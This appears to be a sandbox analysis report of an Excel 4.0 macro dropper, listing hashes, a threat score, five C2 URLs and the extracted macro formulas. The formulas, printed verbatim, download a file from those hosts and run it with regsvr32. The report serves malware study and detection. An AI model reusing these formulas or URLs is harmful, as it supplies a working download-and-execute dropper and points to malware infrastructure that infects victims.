General

  • Target

    145ba9fc1133742a8485523cd1b7dbf0cbe164783352fa5c6a65b0d1e0cb778e

  • Size

    90KB

  • Sample

    241120-z3zhbaxrhl

  • MD5

    59cc3906054290bb6445cda94b3b5535

  • SHA1

    9ecd7bb220a770df18a2089b59014ffb63ee8e5f

  • SHA256

    145ba9fc1133742a8485523cd1b7dbf0cbe164783352fa5c6a65b0d1e0cb778e

  • SHA512

    3ad7706889936a28e6cce3d93e12c741e4c83559e6e7792b34b46900f13b535cef30cb6cecb8c5598586d8ca69824ba53a0a3b35a5ce2037bd0ef89ff525edc5

  • SSDEEP

    1536:PQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:mDpyVEoBo6hKb4llGsQjbxfd

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

http://www.beholdpublications.com/home/BABxyyWZx8Vu/

http://explorationit.com/screwing/AxLm/

http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/

http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/

Attributes
  • formulas

    =FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/","..\xxw1.ocx",0,0) =IF('EGFAGAGDGE'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/BABxyyWZx8Vu/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/AxLm/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://donboscoschoolputhuppally.org/wp-content/UuQ7LBsPoGu9Q/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://myclassroomtime.com/mongery/ZlPsROtQiXIujmJmAA/","..\xxw1.ocx",0,0)) =IF('EGFAGAGDGE'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/zbBYgukXYxzAF2hZc/

Targets

    • Target

      145ba9fc1133742a8485523cd1b7dbf0cbe164783352fa5c6a65b0d1e0cb778e

    • Size

      90KB

    • MD5

      59cc3906054290bb6445cda94b3b5535

    • SHA1

      9ecd7bb220a770df18a2089b59014ffb63ee8e5f

    • SHA256

      145ba9fc1133742a8485523cd1b7dbf0cbe164783352fa5c6a65b0d1e0cb778e

    • SHA512

      3ad7706889936a28e6cce3d93e12c741e4c83559e6e7792b34b46900f13b535cef30cb6cecb8c5598586d8ca69824ba53a0a3b35a5ce2037bd0ef89ff525edc5

    • SSDEEP

      1536:PQBrnXpnyV+ns1BVi/IEh2hx0Lx3bKhllGGx0vKCEjdQjqEk+xXPd:mDpyVEoBo6hKb4llGsQjbxfd

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks